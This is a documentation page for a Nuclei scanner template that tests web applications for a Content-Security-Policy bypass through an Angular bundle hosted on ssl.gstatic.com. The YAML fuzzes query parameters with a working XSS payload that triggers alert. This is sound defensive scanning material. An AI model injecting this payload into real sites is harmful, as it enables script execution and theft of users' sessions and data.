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Content-Security-Policy Bypass - GStatic SSL

ID: gstatic-ssl-csp-bypass

Severity: medium

Author: renniepak,DhiyaneshDK

Tags: xss,csp-bypass,gstatic-ssl

Description

Section titled “Description”

YAML Source

Section titled “YAML Source”
id: gstatic-ssl-csp-bypass


info:
  name: Content-Security-Policy Bypass - GStatic SSL
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,gstatic-ssl


flow: http(1) && headless(1)


http:
  - method: GET
    path:
      - "{{BaseURL}}"


    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "gstatic.com"
        condition: and
        internal: true


headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"


      - action: waitdialog
        name: gstatic_ssl_csp_xss
        args:
          max-duration: 5s


    payloads:
      injection:
        - <body ng-app ng-csp><script src="//ssl.gstatic.com/fsn/angular_js-bundle1.js"></script><input autofocus ng-focus="$event.composedPath()|orderBy:\'[].constructor.from([1],alert)\'"></body>


    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"


    matchers:
      - type: dsl
        dsl:
          - "gstatic_ssl_csp_xss == true"
# digest: 490a0046304402201d938c94b5697cec7fb3aba0a572da5f1610ed1921907300eb5b74a7c930cdc3022020ab39a2ae78237e79efd1bedf267f67aff8cac1f108613dcf9ed3928270dc74:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "dast/vulnerabilities/xss/csp-bypass/gstatic-ssl-csp-bypass.yaml"

View on Github